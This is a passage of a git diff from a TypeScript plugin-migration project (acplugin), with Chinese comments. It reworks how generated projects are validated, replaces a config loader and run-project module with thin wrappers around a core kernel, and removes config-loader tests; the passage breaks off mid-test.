descriptor 的私有 Extension。 */ + readonly migrationValidationMcp: typeof migrationValidationMcp; } /** 控制旧 Claude 工程、Plugin 或 Marketplace 到规范工程的迁移。 */ @@ -827,14 +939,14 @@ function remoteMcpSource(server: MCPServer): string | undefined { } /** 按稳定格式组装的类型化 MCP 描述源码行。 */ const descriptor = [ - `import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp';`, + `import type { McpServer } from '@tokenroll/acplugin-extension-mcp';`, '', - 'export default defineMcpServer({', + 'export default {', ` transport: 'http',`, ` url: ${JSON.stringify(endpoint.href)},`, ...(auth ? [` auth: ${JSON.stringify(auth)},`] : []), ...(Object.keys(headers).length ? [` headers: ${JSON.stringify(headers, null, 2).replaceAll('\n', '\n ')},`] : []), - '});', + '} satisfies McpServer;', '', ]; return descriptor.join('\n'); @@ -1306,7 +1418,7 @@ async function metadataFor(scan: ScanResult, options: MigrationOptions, items: M ...(homepage === undefined ? {} : { homepage }), ...(repository === undefined ? {} : { repository }), ...(license === undefined ? {} : { license }), - ...(keywords === undefined ? {} : { keywords }), + keywords: keywords ?? [], }; items.push(migrationItem({ kind: 'metadata', id: name, source, destination: 'acplugin.config.ts' }, fields)); return metadata; @@ -1326,11 +1438,20 @@ async function metadataFor(scan: ScanResult, options: MigrationOptions, items: M async function validateCanonicalProject( outputRoot: string, usesMcp: boolean, + metadata: PluginMetadata, ): Promise { - /** 只供本次配置加载解析两个正式包名的临时依赖根。 */ + /** 只供本次配置和 descriptor 加载解析包名的临时依赖根。 */ const nodeModules = path.join(outputRoot, 'node_modules'); - /** 全局桥接只包含公开工厂,不暴露 Core Registry 或生命周期入口。 */ - const api: MigrationValidationApi = Object.freeze({ defineConfig, claudeCode, mcp, defineMcpServer }); + /** 最终生成配置在验证期间由等价元数据的私有验证配置暂时替代。 */ + const configPath = path.join(outputRoot, 'acplugin.config.ts'); + /** 验证后必须恢复的最终用户配置文本。 */ + const generatedConfig = await fs.readFile(configPath, 'utf8'); + /** 全局桥接不暴露 Core Registry,也不引用或内联任何官方集成实现。 */ + const api: MigrationValidationApi = Object.freeze({ + defineConfig, + migrationValidationPlatform, + migrationValidationMcp, + }); Reflect.set(globalThis, MIGRATION_VALIDATION_API, api); activeValidationProxies += 1; try { @@ -1346,23 +1467,11 @@ async function validateCanonicalProject( const api = globalThis[Symbol.for('tokenroll.acplugin.migration-validation-api')]; if (!api) throw new Error('Migration validation API is unavailable.'); export const defineConfig = api.defineConfig; -`); - /** 独立 Platform 代理保持生成配置与正式 package 边界一致。 */ - const platformPackage = path.join(nodeModules, '@tokenroll/acplugin-platform-claude-code'); - await copyText(path.join(platformPackage, 'package.json'), stableJson({ - name: '@tokenroll/acplugin-platform-claude-code', - version: '1.0.0', - type: 'module', - exports: './index.mjs', - })); - await copyText(path.join(platformPackage, 'index.mjs'), ` -const api = globalThis[Symbol.for('tokenroll.acplugin.migration-validation-api')]; -if (!api) throw new Error('Migration validation API is unavailable.'); -export const claudeCode = api.claudeCode; -export default api.claudeCode; +export const migrationValidationPlatform = api.migrationValidationPlatform; +export const migrationValidationMcp = api.migrationValidationMcp; `); if (usesMcp) { - /** 临时 Extension 代理同时服务配置工厂和每个 mcp.ts 的定义工厂导入。 */ + /** 临时 MCP 包只为生成源码中的 type-only import 提供可解析包身份。 */ const extensionPackage = path.join(nodeModules, '@tokenroll/acplugin-extension-mcp'); await copyText(path.join(extensionPackage, 'package.json'), stableJson({ name: '@tokenroll/acplugin-extension-mcp', @@ -1370,13 +1479,23 @@ export default api.claudeCode; type: 'module', exports: './index.mjs', })); - await copyText(path.join(extensionPackage, 'index.mjs'), ` -const api = globalThis[Symbol.for('tokenroll.acplugin.migration-validation-api')]; -if (!api) throw new Error('Migration validation API is unavailable.'); -export const defineMcpServer = api.defineMcpServer; -export default api.mcp; -`); + await copyText(path.join(extensionPackage, 'index.mjs'), 'export {};\n'); } + /** 用相同元数据驱动 Core Scanner;正式 Platform/Extension 在安装依赖后自行验证。 */ + await fs.writeFile(configPath, ` +import { + defineConfig, + migrationValidationMcp, + migrationValidationPlatform, +} from '@tokenroll/acplugin'; + +export default defineConfig({ + ...${stableJson(metadata).trim()}, + extensions: ${usesMcp ? '[migrationValidationMcp]' : '[]'}, + platforms: [migrationValidationPlatform], + build: { strict: false }, +}); +`); /** 正式配置加载、Scanner、Extension 和全部配置 Platform validate 的公开结果。 */ const result = await runProject({ cwd: outputRoot, @@ -1390,11 +1509,12 @@ export default api.mcp; const diagnostics: readonly Diagnostic[] = Object.freeze([{ code: 'MIGRATION_PROJECT_VALIDATION_FAILED', severity: 'error', - phase: 'migration', + phase: 'validate', message: 'The generated project could not be loaded and validated through the public API.', }]); return diagnostics; } finally { + await fs.writeFile(configPath, generatedConfig); await fs.rm(nodeModules, { recursive: true, force: true }); activeValidationProxies -= 1; if (activeValidationProxies === 0) @@ -1578,13 +1698,13 @@ async function writeCanonicalProject( await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')}\n\n${configLines.join('\n')}\n`); /** 新工程基础开发依赖及按需追加的官方 MCP Extension。 */ const devDependencies: Record = { - '@tokenroll/acplugin': '^0.0.1-beta', - '@tokenroll/acplugin-platform-claude-code': '^0.0.1-beta', + '@tokenroll/acplugin': publicPackageRange('@tokenroll/acplugin'), + '@tokenroll/acplugin-platform-claude-code': publicPackageRange('@tokenroll/acplugin-platform-claude-code'), 'typescript': '^7.0.2', '@types/node': '^20.19.0', }; if (usesMcp) - devDependencies['@tokenroll/acplugin-extension-mcp'] = '^0.0.1-beta'; + devDependencies['@tokenroll/acplugin-extension-mcp'] = publicPackageRange('@tokenroll/acplugin-extension-mcp'); await copyText(path.join(outputRoot, 'package.json'), stableJson({ name: metadata.name, version: metadata.version, @@ -1598,7 +1718,7 @@ async function writeCanonicalProject( await copyText(path.join(outputRoot, '.gitignore'), 'node_modules\ndist\n.acplugin-migration/unmapped/\n'); // 只有正式公开 Pipeline 能证明生成配置与实际 Extension/Platform 契约共同成立。 - return { items, diagnostics: await validateCanonicalProject(outputRoot, usesMcp) }; + return { items, diagnostics: await validateCanonicalProject(outputRoot, usesMcp, metadata) }; } /** diff --git a/packages/acplugin/src/project-config.ts b/packages/acplugin/src/project-config.ts deleted file mode 100644 index 4c54567..0000000 --- a/packages/acplugin/src/project-config.ts +++ /dev/null @@ -1,271 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { createJiti, type TransformOptions, type TransformResult } from 'jiti'; -import { - resolveConfig, - type BuildCommand, - type BuildMode, - type Diagnostic, - type ResolvedConfig, - type UserConfig, - type UserConfigExport, -} from '@acplugin/core'; - -/** 表示配置文件读取、执行或 Core 配置解析失败,并携带可安全展示的结构化诊断。 */ -export class ProjectConfigError extends Error { - /** 可直接写入 CLI JSON 报告的配置诊断。 */ - readonly diagnostics: readonly Diagnostic[]; - - /** - * 创建配置加载错误并保留底层原因供内部调试。 - * - * @param message 面向用户的安全错误摘要。 - * @param diagnostics 已清理的结构化配置诊断。 - * @param cause 不直接展示给用户的底层异常。 - */ - constructor(message: string, diagnostics: readonly Diagnostic[], cause?: unknown) { - if (cause === undefined) - super(message); - else - super(message, { cause }); - this.name = 'ProjectConfigError'; - this.diagnostics = diagnostics; - } -} - -/** Core 内部配置加载器使用的文件定位与执行上下文。 */ -export interface LoadProjectConfigOptions { - /** 解析相对路径使用的工作目录,默认为当前进程目录。 */ - cwd?: string; - /** 相对于 cwd 的配置路径,默认为 `acplugin.config.ts`。 */ - configPath?: string; - /** 当前执行的 CLI/运行时命令。 */ - command: BuildCommand; - /** 传递给配置函数的开发或生产模式。 */ - mode: BuildMode; -} - -/** Core 内部消费的已解析配置及共享 TypeScript Module 加载能力。 */ -export interface LoadedProjectConfig { - /** 完成默认值、路径和 Extension 校验的不可变配置。 */ - readonly config: ResolvedConfig; - /** 配置入口、Jiti 实际转换的依赖和共享加载器读取的 descriptor 绝对路径。 */ - readonly watchFiles: ReadonlySet; - /** descriptor 所属且需要递归监听解析依赖的真实 Package 根。 */ - readonly watchRoots: ReadonlySet; - /** - * 使用与配置文件相同的 Jiti 实例加载 Extension 引用。 - * - * @param modulePath TypeScript Module 文件路径。 - * @returns 模块的默认导出。 - */ - loadTypeScriptModule(modulePath: string): Promise; -} - -/** - * 判断候选路径是否等于指定根或位于根目录内部。 - * - * @param root 已规范化的绝对根目录。 - * @param candidate 待判断的绝对路径。 - * @returns 候选位于根边界内时返回 true。 - */ -function isInside(root: string, candidate: string): boolean { - /** 从根目录指向候选的相对路径。 */ - const relative = path.relative(root, candidate); - return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); -} - -/** - * 排除 Jiti 自身临时/cache 产物,防止 dev 监听执行器的机器相关文件。 - * - * @param candidate 待登记的绝对模块路径。 - * @returns 路径属于 Jiti cache 或 ESM fallback 临时目录时返回 true。 - */ -function isJitiTemporaryPath(candidate: string): boolean { - /** 统一分隔符后匹配 Jiti 的两个实现级临时目录。 */ - const normalized = candidate.split(path.sep).join('/'); - return /(?:^|\/)(?:node_modules\/\.cache\/jiti|jiti-esm)(?:\/|$)/u.test(normalized); -} - -/** - * 通过 Jiti 导入模块的默认导出,并屏蔽其泛型返回细节。 - * - * @param jiti 当前项目配置专用且禁用缓存的 Jiti 实例。 - * @param modulePath 待执行模块路径。 - * @returns 模块默认导出。 - */ -async function importDefault(jiti: ReturnType, modulePath: string): Promise { - return jiti.import(modulePath, { default: true }); -} - -/** - * 查找 descriptor 所属的最近 package 根,以覆盖其同包解析依赖。 - * - * @param modulePath 已解析的 descriptor 绝对文件路径。 - * @returns 最近含 package.json 的目录;找不到时回退到文件所在目录。 - */ -async function nearestPackageRoot(modulePath: string): Promise { - /** 未找到 package.json 时使用的 descriptor 所在目录。 */ - const fallback = path.dirname(modulePath); - /** 从 descriptor 目录逐级向上查找的当前候选。 */ - let current = fallback; - while (true) { - try { - await fs.access(path.join(current, 'package.json')); - return current; - } catch { - /** 当前目录的父目录;到达文件系统根时停止。 */ - const parent = path.dirname(current); - if (parent === current) - return fallback; - current = parent; - } - } -} - -/** - * 安全加载、执行并解析项目的 TypeScript 配置入口。 - * - * 配置文件必须是普通非符号链接文件;每次调用使用无缓存 Jiti,确保 dev 重建读取最新内容。 - * - * @param options 配置路径与执行上下文。 - * @returns Core 已解析配置和后续 Extension 共用的 TypeScript 加载函数。 - * @throws 配置访问、执行或语义校验失败时抛出 ProjectConfigError。 - */ -export async function loadProjectConfig(options: LoadProjectConfigOptions): Promise { - /** 所有配置相对路径解析使用的绝对工作目录。 */ - const cwd = path.resolve(options.cwd ?? process.cwd()); - /** 本次运行实际加载的配置绝对路径。 */ - const configPath = path.resolve(cwd, options.configPath ?? 'acplugin.config.ts'); - /** 可安全展示且不泄露 cwd 前缀的配置路径。 */ - const displayPath = path.relative(cwd, configPath).split(path.sep).join('/') || path.basename(configPath); - try { - /** 配置入口自身的文件类型和符号链接状态。 */ - const stat = await fs.lstat(configPath); - if (!stat.isFile() || stat.isSymbolicLink()) - throw new Error('Configuration must be a regular non-symlink file.'); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - /** 根据文件是否缺失生成稳定且不暴露底层异常文本的失败原因。 */ - const reason = (error as NodeJS.ErrnoException).code === 'ENOENT' - ? 'file does not exist.' - : 'file cannot be accessed as a regular non-symlink file.'; - /** 配置访问失败时供异常与诊断共用的消息。 */ - const message = `Cannot load ${displayPath}: ${reason}`; - throw new ProjectConfigError(message, [{ - code: 'CONFIG_LOAD_FAILED', - severity: 'error', - message, - phase: 'config', - location: { path: displayPath }, - }], error); - } - - /** Jiti 公共 transform seam 使用的默认转换实现。 */ - const transformer = createJiti(import.meta.url, { interopDefault: true, moduleCache: false, fsCache: false }); - /** 配置执行期间由 Jiti 实际转换的模块逻辑路径。 */ - const transformedFiles = new Set(); - /** 包装默认转换器,既不解析 debug 输出也不建立第二条配置执行路径。 */ - const transform = (transformOptions: TransformOptions): TransformResult => { - if (transformOptions.filename !== undefined && path.isAbsolute(transformOptions.filename)) - transformedFiles.add(path.normalize(transformOptions.filename)); - return { code: transformer.transform(transformOptions) }; - }; - /** 当前配置及其引用 Extension 共用的无缓存 TypeScript 执行器。 */ - const jiti = createJiti(import.meta.url, { - interopDefault: true, - moduleCache: false, - fsCache: false, - transform, - }); - /** dev 需要监听的配置入口与后续实际加载 descriptor 路径。 */ - const watchFiles = new Set([configPath]); - /** dev 需要递归监听且不能被 node_modules 通用规则过滤的依赖根。 */ - const watchRoots = new Set(); - /** 配置文件尚未调用的默认导出。 */ - let exported: UserConfigExport; - try { - exported = await importDefault(jiti, configPath) as UserConfigExport; - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - /** 配置代码无法求值时使用的安全消息。 */ - const message = `Cannot evaluate ${displayPath}.`; - throw new ProjectConfigError(message, [{ - code: 'CONFIG_EVALUATION_FAILED', severity: 'error', message, phase: 'config', location: { path: displayPath }, - }], error); - } - /** 静态导出或配置函数执行后得到的原始用户配置。 */ - let value: UserConfig; - try { - value = (typeof exported === 'function' - ? await exported({ command: options.command, mode: options.mode }) - : exported) as UserConfig; - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - /** 配置函数执行失败时使用的安全消息。 */ - const message = `Configuration function in ${displayPath} failed.`; - throw new ProjectConfigError(message, [{ - code: 'CONFIG_FUNCTION_FAILED', severity: 'error', message, phase: 'config', location: { path: displayPath }, - }], error); - } - if (value === null || typeof value !== 'object' || Array.isArray(value)) { - throw new ProjectConfigError('acplugin.config.ts must export a config object or a function returning one.', [{ - code: 'CONFIG_EXPORT_INVALID', - severity: 'error', - message: 'acplugin.config.ts must export a config object or a function returning one.', - phase: 'config', - location: { path: displayPath }, - }]); - } - - /** Core 配置解析结果,包含诊断以及成功时的 ResolvedConfig。 */ - const resolved = resolveConfig(value, configPath, options.command, options.mode); - if (!resolved.config) { - /** 为 CLI 与程序化 API 组合的简要错误文本;结构化诊断仍完整保留。 */ - const details = resolved.diagnostics.map(diagnostic => `${diagnostic.code}: ${diagnostic.message}`).join('\n'); - throw new ProjectConfigError(details || 'Configuration is invalid.', resolved.diagnostics); - } - /** 通过错误分支后已确认存在的最终解析配置。 */ - const config = resolved.config; - /** 用于避免把本就递归监听的工程根重复提升为依赖包根的真实路径。 */ - const projectRealRoot = await fs.realpath(config.root).catch(() => config.root); - /** - * 登记一个执行器实际读取的逻辑/真实模块,并按外部 package 根保守监听其依赖。 - * - * @param modulePath Jiti 转换或 descriptor 加载观察到的绝对路径。 - * @param includeProjectPackageRoot descriptor 是否保留既有的同工程 package 根登记语义。 - */ - const addWatchedModule = async (modulePath: string, includeProjectPackageRoot = false): Promise => { - /** 模块的规范逻辑路径,用于保留 symlink 入口变化。 */ - const resolvedPath = path.resolve(modulePath); - /** 模块的真实路径,用于跟随 pnpm/workspace 符号链接。 */ - const realPath = await fs.realpath(resolvedPath).catch(() => resolvedPath); - if (isJitiTemporaryPath(resolvedPath) - || isJitiTemporaryPath(realPath) - || isInside(config.outDir, resolvedPath) - || isInside(config.outDir, realPath)) { - return; - } - watchFiles.add(resolvedPath); - watchFiles.add(realPath); - if (isInside(projectRealRoot, realPath) && !includeProjectPackageRoot) - return; - /** 工程外依赖以最近 package 根递归监听,覆盖同包内未经过 transform 的原生依赖。 */ - const packageRoot = await nearestPackageRoot(realPath); - if (packageRoot !== projectRealRoot && !isInside(config.outDir, packageRoot)) - watchRoots.add(packageRoot); - }; - /** 配置入口执行完成后,transform 集合已包含其实际 TypeScript/CJS import closure。 */ - for (const modulePath of transformedFiles) - await addWatchedModule(modulePath); - return { - config, - watchFiles, - watchRoots, - /** loadTypeScriptModule 提供当前对象协议要求的回调实现。 */ loadTypeScriptModule: async (modulePath) => { - await addWatchedModule(modulePath, true); - /** descriptor 执行可能继续扩展 transform closure。 */ - const result = await importDefault(jiti, modulePath); - for (const transformedPath of transformedFiles) - await addWatchedModule(transformedPath); - return result; - }, - }; -} diff --git a/packages/acplugin/src/project.ts b/packages/acplugin/src/project.ts new file mode 100644 index 0000000..8ac6342 --- /dev/null +++ b/packages/acplugin/src/project.ts @@ -0,0 +1,24 @@ +import { + createKernelProject, + ProjectConfigError, + runKernelProject, +} from '@acplugin/core'; +import type { + BuildReport, + CreateProjectOptions, + Project, + RunProjectOptions, +} from '@acplugin/core/kernel-author'; +import { ACPLUGIN_VERSION } from './version.js'; + +export { ProjectConfigError }; + +/** 创建绑定同一工程身份且只执行 Kernel BuildSession 的 Project。 */ +export function createProject(options: CreateProjectOptions = {}): Project { + return createKernelProject(options, ACPLUGIN_VERSION); +} + +/** createProject(...).run(...) 的无逻辑 convenience。 */ +export function runProject(options: RunProjectOptions = {}): Promise { + return runKernelProject(options, ACPLUGIN_VERSION); +} diff --git a/packages/acplugin/src/run-project.ts b/packages/acplugin/src/run-project.ts deleted file mode 100644 index fe2df1a..0000000 --- a/packages/acplugin/src/run-project.ts +++ /dev/null @@ -1,138 +0,0 @@ -import { promises as fs } from 'node:fs'; -import { - executeLifecycle, - type BuildResult, - type Diagnostic, - type PlatformId, -} from '@acplugin/core'; -import { - loadProjectConfig, - ProjectConfigError, - type LoadProjectConfigOptions, -} from './project-config.js'; - -/** - * 按 UTF-16 code unit 比较内部监听路径,避免宿主 locale/ICU 改变顺序。 - * - * @param left 左侧路径。 - * @param right 右侧路径。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - -/** 公开程序化 Pipeline 的配置定位和运行控制选项。 */ -export interface RunProjectOptions extends LoadProjectConfigOptions { - /** 可选的已配置 Platform 子集;不能凭 ID 临时实例化 Platform。 */ - platforms?: readonly PlatformId[]; - /** 可选的统一 Platform 兼容性严格度覆盖。 */ - strict?: boolean; - /** 是否把生成结果提交到 outDir。 */ - commit?: boolean; -} - -/** CLI dev 在公开报告之外需要的内部执行与监听快照。 */ -export interface ProjectExecution { - /** 固定生命周期产生的公开构建报告。 */ - readonly result: BuildResult; - /** 配置解析后的工程绝对根目录。 */ - readonly projectRoot: string; - /** 当前构建完全托管且必须从监听中排除的输出目录。 */ - readonly outDir: string; - /** 配置、工程根和已加载 Extension descriptor 组成的绝对监听路径。 */ - readonly watchPaths: readonly string[]; - /** 允许递归穿过 node_modules 忽略规则的已解析依赖包根。 */ - readonly dependencyRoots: readonly string[]; -} - -/** - * 执行项目 Pipeline,并为 CLI dev 返回不进入公开报告的监听快照。 - * - * @param options 配置定位、命令模式和运行时覆盖选项。 - * @returns 公开构建报告与内部绝对监听路径。 - */ -export async function executeProject(options: RunProjectOptions): Promise { - /** 已加载的配置、TypeScript Module 解析能力与加载路径记录。 */ - const loaded = await loadProjectConfig(options); - /** Extension bundler 在本轮生命周期内实际读取的 Handler/Server 模块图。 */ - const lifecycleWatchFiles = new Set(); - /** 可能应用 CLI Platform 子集覆盖的最终运行配置。 */ - let config = loaded.config; - if (options.platforms !== undefined || options.strict !== undefined) { - /** CLI 指定或配置原有的 Platform ID 列表。 */ - const platformIds = options.platforms ?? config.platforms.map(item => item.platform.id); - /** 显式 Platform 子集自身违反的选择约束。 */ - const selectionDiagnostics: Diagnostic[] = []; - if (options.platforms?.length === 0) { - selectionDiagnostics.push({ - code: 'CLI_PLATFORM_SELECTION_EMPTY', - severity: 'error', - message: 'Platform selection must contain at least one configured Platform.', - phase: 'config', - }); - } - /** 选择列表中按首次重复顺序稳定排列的 Platform ID。 */ - const duplicates = [...new Set(platformIds.filter((id, index) => platformIds.indexOf(id) !== index))]; - /** id 表示当前只报告一次的重复 Platform ID。 */ - for (const id of duplicates) { - selectionDiagnostics.push({ - code: 'CLI_PLATFORM_SELECTION_DUPLICATE', - severity: 'error', - message: `Platform "${id}" is selected more than once.`, - phase: 'config', - platform: id, - }); - } - /** CLI 请求但配置中不存在的 Platform ID。 */ - const missing = [...new Set(platformIds.filter(id => !config.platforms.some(item => item.platform.id === id)))]; - selectionDiagnostics.push(...missing.map(id => ({ - code: 'CLI_PLATFORM_NOT_CONFIGURED', - severity: 'error' as const, - message: `Platform "${id}" is not configured; add its factory to platforms first.`, - phase: 'config', - platform: id, - }))); - if (selectionDiagnostics.length > 0) - throw new ProjectConfigError('CLI Platform selection is invalid.', selectionDiagnostics); - /** 对全部选中 Platform 应用的可选严格度覆盖。 */ - const strict = options.strict; - /** 保持配置顺序且只包含所选 ID 的最终 Platform 列表。 */ - const platforms = config.platforms - .filter(item => platformIds.includes(item.platform.id)) - .map(item => ({ ...item, strict: strict ?? item.strict })); - config = { ...config, strict: strict ?? config.strict, platforms }; - } - /** validate/inspect 永不提交;build/dev 允许程序化调用方显式关闭事务提交。 */ - const commit = (options.command === 'build' || options.command === 'dev') && (options.commit ?? true); - /** 唯一固定生命周期产生的公开结果。 */ - const result = await executeLifecycle({ - config, - loadTypeScriptModule: loaded.loadTypeScriptModule, - commit, - /** 生命周期只登记依赖,本层决定它们如何进入 dev 监听边界。 */ - onWatchFile: file => lifecycleWatchFiles.add(file), - }); - /** 同时保留解析路径与真实路径,使 symlink workspace 的依赖编辑同样可触发重建。 */ - const watchedModuleFiles = new Set(); - for (const file of lifecycleWatchFiles) { - watchedModuleFiles.add(file); - try { - watchedModuleFiles.add(await fs.realpath(file)); - } catch { - // 构建后立即删除的依赖由原路径继续监听,下一次重建负责给出正式诊断。 - } - } - /** 配置入口、工程根、描述文件和实际 Bundle 模块图组成的去重监听边界。 */ - const watchPaths = [...new Set([ - config.root, - ...loaded.watchFiles, - ...loaded.watchRoots, - ...watchedModuleFiles, - ])].sort(compareCodeUnits); - /** Extension descriptor 所属且需要递归监听的去重真实包根。 */ - const dependencyRoots = [...loaded.watchRoots].sort(compareCodeUnits); - return { result, projectRoot: config.root, outDir: config.outDir, watchPaths, dependencyRoots }; -} diff --git a/packages/acplugin/src/sdk.ts b/packages/acplugin/src/sdk.ts new file mode 100644 index 0000000..a63aefe --- /dev/null +++ b/packages/acplugin/src/sdk.ts @@ -0,0 +1,2 @@ +// 该 subpath 是 Platform/Extension 的唯一可信集成入口;私有 Core 实现由主包构建内联。 +export * from '@acplugin/core/kernel-sdk'; diff --git a/packages/acplugin/src/version.ts b/packages/acplugin/src/version.ts new file mode 100644 index 0000000..8ca9a41 --- /dev/null +++ b/packages/acplugin/src/version.ts @@ -0,0 +1,4 @@ +import { PUBLIC_PACKAGE_VERSIONS } from './ecosystem-versions.js'; + +/** 当前 CLI 与公开运行时 API 的单一版本常量。 */ +export const ACPLUGIN_VERSION: string = PUBLIC_PACKAGE_VERSIONS['@tokenroll/acplugin']; diff --git a/packages/acplugin/test/config-loader.test.ts b/packages/acplugin/test/config-loader.test.ts deleted file mode 100644 index 66ca245..0000000 --- a/packages/acplugin/test/config-loader.test.ts +++ /dev/null @@ -1,185 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { definePlatform } from '../src/index.js'; -import { loadProjectConfig, ProjectConfigError } from '../src/project-config.js'; - -/** 每个配置加载测试创建并在 afterEach 中删除的临时工程。 */ -const roots: string[] = []; - -/** dotenv 隔离测试使用且不会由项目其他逻辑读取的环境变量名。 */ -const DOTENV_KEY = 'ACPLUGIN_CONFIG_LOADER_DOTENV_FIXTURE'; - -/** 测试开始前宿主环境可能已经存在的变量值。 */ -const originalDotenvValue = process.env[DOTENV_KEY]; - -/** 临时配置与测试进程共享品牌化 Platform 时使用的隔离全局键。 */ -const CONFIG_TEST_PLATFORM = Symbol.for('tokenroll.acplugin.config-loader-test-platform'); - -Reflect.set(globalThis, CONFIG_TEST_PLATFORM, definePlatform({ - id: 'config-loader-test', - apiVersion: '1', - deliveryType: 'plugin', - /** 配置加载测试不会执行 Platform 生命周期。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** 配置加载测试不会生成交付单元。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** 配置加载测试不会物化候选目录。 */ - validateBundle: () => undefined, -})); - -/** - * 为配置源码提供一个通过正式公开工厂创建的显式测试 Platform。 - * - * @param source 引用 `testPlatform` 的配置导出源码。 - * @returns 带公开 SDK 导入和品牌化实例声明的完整模块。 - */ -function withPlatform(source: string): string { - return `const testPlatform = globalThis[Symbol.for('tokenroll.acplugin.config-loader-test-platform')]; -${source}`; -} - -/** - * 创建含指定 acplugin.config.ts 源码的临时工程。 - * - * @param source TypeScript 配置模块源码。 - * @returns 临时工程绝对路径。 - */ -async function project(source: string): Promise { - /** 当前测试独占的临时工程根目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-config-loader-')); - roots.push(root); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), withPlatform(source)); - return root; -} - -afterEach(async () => { - await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); - if (originalDotenvValue === undefined) - delete process.env[DOTENV_KEY]; - else - process.env[DOTENV_KEY] = originalDotenvValue; -}); - -describe('config loader', () => { - it('loads object, sync factory, and async factory exports', async () => { - /** 三种受支持配置导出形式的源码。 */ - const sources = [ - `export default { name: 'object-config', version: '1.0.0', description: 'Object.', platforms: [testPlatform] }`, - `export default ({ command }) => ({ name: 'sync-config', version: '1.0.0', description: command, platforms: [testPlatform] })`, - `export default async ({ mode }) => ({ name: 'async-config', version: '1.0.0', description: mode, platforms: [testPlatform] })`, - ]; - /** 三种配置分别加载后的统一名称。 */ - const names: string[] = []; - for (const source of sources) { - /** 当前导出形式对应的临时工程。 */ - const cwd = await project(source); - /** Jiti 执行并由 Core 解析的最终配置。 */ - const loaded = await loadProjectConfig({ cwd, command: 'build', mode: 'production' }); - names.push(loaded.config.metadata.name); - } - - expect(names).toEqual(['object-config', 'sync-config', 'async-config']); - }); - - it('fresh-loads changed config source during dev', async () => { - /** 初始版本为 1.0.0 的临时工程。 */ - const cwd = await project(`export default { name: 'fresh-config', version: '1.0.0', description: 'Fresh.', platforms: [testPlatform] }`); - /** 第一次无缓存配置加载。 */ - const first = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); - await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), withPlatform(`export default { name: 'fresh-config', version: '2.0.0', description: 'Fresh.', platforms: [testPlatform] }`)); - /** 文件变化后的第二次无缓存配置加载。 */ - const second = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); - - expect(first.config.metadata.version).toBe('1.0.0'); - expect(second.config.metadata.version).toBe('2.0.0'); - }); - - it('records and fresh-loads an external static TypeScript config dependency', async () => { - /** 同时包含项目与外部 helper package 的临时 workspace。 */ - const workspace = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-config-closure-')); - roots.push(workspace); - /** 配置入口所在的独立项目根。 */ - const cwd = path.join(workspace, 'plugin'); - /** 位于项目根外且需要按 package root 监听的 helper。 */ - const helperRoot = path.join(workspace, 'shared-config'); - /** 配置实际静态导入的 TypeScript helper。 */ - const helper = path.join(helperRoot, 'value.ts'); - await fs.mkdir(cwd, { recursive: true }); - await fs.mkdir(helperRoot, { recursive: true }); - await fs.writeFile(path.join(helperRoot, 'package.json'), '{"name":"shared-config","type":"module"}\n'); - await fs.writeFile(helper, `export const description = 'First external helper.';\n`); - await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), withPlatform(`import { description } from '../shared-config/value.ts'; -export default { name: 'closure-config', version: '1.0.0', description, platforms: [testPlatform] }; -`)); - - /** 第一次执行观察到的 Jiti transform closure。 */ - const first = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); - await fs.writeFile(helper, `export const description = 'Second external helper.';\n`); - /** 新 Jiti 实例必须读取 helper 的修改而不是原生模块 cache。 */ - const second = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); - - expect(first.config.metadata.description).toBe('First external helper.'); - expect(second.config.metadata.description).toBe('Second external helper.'); - expect(first.watchFiles).toContain(await fs.realpath(helper)); - expect(first.watchRoots).toContain(await fs.realpath(helperRoot)); - }); - - it('does not automatically load project .env files', async () => { - delete process.env[DOTENV_KEY]; - /** 配置尝试读取仅存在于项目 .env 的值。 */ - const cwd = await project(`export default { - name: 'dotenv-config', - version: '1.0.0', - description: process.env.${DOTENV_KEY} ?? 'not-loaded', - platforms: [testPlatform], - }`); - await fs.writeFile(path.join(cwd, '.env'), `${DOTENV_KEY}=loaded-secret\n`); - /** 不启用 dotenv 的最终加载结果。 */ - const loaded = await loadProjectConfig({ cwd, command: 'validate', mode: 'production' }); - - expect(loaded.config.metadata.description).toBe('not-loaded'); - expect(process.env[DOTENV_KEY]).toBeUndefined(); - }); - - it('surfaces legacy fields and explicit empty platforms as structured errors', async () => { - /** 同时包含两个旧字段和显式空 Platform 集合的非法配置。 */ - const cwd = await project(`export default { - name: 'legacy-config', - version: '1.0.0', - description: 'Legacy.', - targets: ['codex'], - modules: [], - platforms: [], - }`); - - await expect(loadProjectConfig({ cwd, command: 'validate', mode: 'production' })).rejects.toSatisfy((error: unknown) => { - if (!(error instanceof ProjectConfigError)) - return false; - /** 配置加载错误携带的全部稳定诊断码。 */ - const codes = error.diagnostics.map(item => item.code); - return codes.includes('CONFIG_LEGACY_TARGETS') - && codes.includes('CONFIG_LEGACY_MODULES') - && codes.includes('CONFIG_PLATFORMS_EMPTY') - && error.diagnostics.some(item => item.hint?.includes('platforms: [myPlatform()]')); - }); - }); - - it('records loaded Extension descriptors and their local dependency root for dev', async () => { - /** descriptor 监听测试使用的有效配置工程。 */ - const cwd = await project(`export default { name: 'watch-config', version: '1.0.0', description: 'Watch.', platforms: [testPlatform] }`); - 